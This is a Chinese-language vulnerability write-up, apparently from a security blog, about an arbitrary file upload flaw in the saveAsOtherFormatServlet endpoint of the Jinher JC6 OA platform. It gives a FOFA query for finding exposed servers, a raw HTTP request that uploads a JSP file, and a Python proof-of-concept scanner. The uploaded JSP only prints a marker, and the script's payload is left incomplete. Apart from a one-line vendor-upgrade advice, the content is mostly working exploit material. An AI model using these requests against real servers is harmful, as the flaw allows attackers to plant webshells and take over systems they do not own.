声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
1. 产品简介
金和数字化智能办公平台(简称JC6)是一款结合了人工智能技术的数字化办公平台,为企业带来了智能化的办公体验和全面的数字化转型支持。同时符合国家信创认证标准,支持组织数字化转型,实现业务流程的数字化、智能化和协同化,提高企业竞争力。
2.漏洞描述
金和OA协同办公管理系统在saveAsOtherFormatServlet接口存在任意文件上传漏洞,攻击者可以上传jsp文件,也可以上传木马,容易造成严重的影响。
3.fofa查询语句
app="金和网络-金和OA"
4.漏洞复现
poc
POST /jc6/servlet/saveAsOtherFormatServlet?fileName=tteesstt.jsp HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
Content-Length: 207
Content-Type: multipart/form-data; boundary=74f0dc3df975274386a11be68cacc0e5
--74f0dc3df975274386a11be68cacc0e5
Content-Disposition: form-data; name="FileBlod"; filename="tteesstt.jsp"
Content-Type: image/png
<% out.println("tteesstt2");%>
--74f0dc3df975274386a11be68cacc0e5--
上传后,拼接上传文件的地址:https://xxxxx/jc6/upload/gwzw/tteesstt.jsp
5.poc.py
import requests
def verify(ip):
url = f'{ip}/jc6/servlet/saveAsOtherFormatServlet?fileName=tteesstt.jsp'
headers = {
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade - Insecure - Requests': '1',
'Content-Length': '207',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Content-Type': 'multipart/form-data; boundary=74f0dc3df975274386a11be68cacc0e5'
}
payload = '''
--74f0dc3df975274386a11be68cacc0e5
Content-Disposition: form-data; name="FileBlod"; filename="tteesstt.jsp"
Content-Type: image/png
'''
try:
response = requests.post(url, headers=headers, data=payload,verify=False)
# 验证成功输出相关信息
if response.status_code == 200 :
print(f"{ip}存在金和OA saveAsOtherFormatServlet接口任意文件上传漏洞!!!")
except Exception as e:
pass
if __name__ == '__main__':
self = input('请输入目标主机IP地址:')
verify(self)
6.整改意见
请联系厂家 http://www.jinher.com/升级